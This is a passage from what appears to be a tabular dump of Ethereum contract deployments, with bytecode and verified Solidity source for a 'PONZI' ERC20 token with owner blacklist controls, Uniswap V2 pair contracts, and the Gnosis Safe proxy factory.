require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Ponzi is Ownable, ERC20 {
bool public limited;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
address public uniswapV2Pair;
mapping(address => bool) public blacklists;
constructor(uint256 _totalSupply) ERC20("PONZI", "PONZI") {
_mint(msg.sender, _totalSupply);
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
blacklists[_address] = _isBlacklisting;
}
function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
limited = _limited;
uniswapV2Pair = _uniswapV2Pair;
maxHoldingAmount = _maxHoldingAmount;
minHoldingAmount = _minHoldingAmount;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(!blacklists[to] && !blacklists[from], "Blacklisted");
if (uniswapV2Pair == address(0)) {
require(from == owner() || to == owner(), "Trading is not started");
return;
}
if (limited && from == uniswapV2Pair) {
require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid");
}
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
} |
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| // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 19,494,904 | 8c519ffca41478fa38c52aed929cccb17e92a67fbfae850b65f0c29ce42b43cb | 1b27d726ffdac58b84386c51eb358d7e2355a67cfaef838e43d477873217d4d9 | 4cffd148b1d3c2e6aeb30e8c43a49738d21dee8d | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 4415951db0d6b55a2ec68b72bd6f1dba510b42f2 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,909 | aa2f08aaa1610755dac7715dc792202b0031fb41eccb791a70072fad67b91259 | cbbf2b46f0d3e4c3e2c70148678ef785dd6b3dfdc090260e8556bf6253d2c3b6 | 636eb912615ba10c819bf8c62faf7805271ddcd8 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 1ab08125a79a6884d7d166378d6e1ef0ba6178dd | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
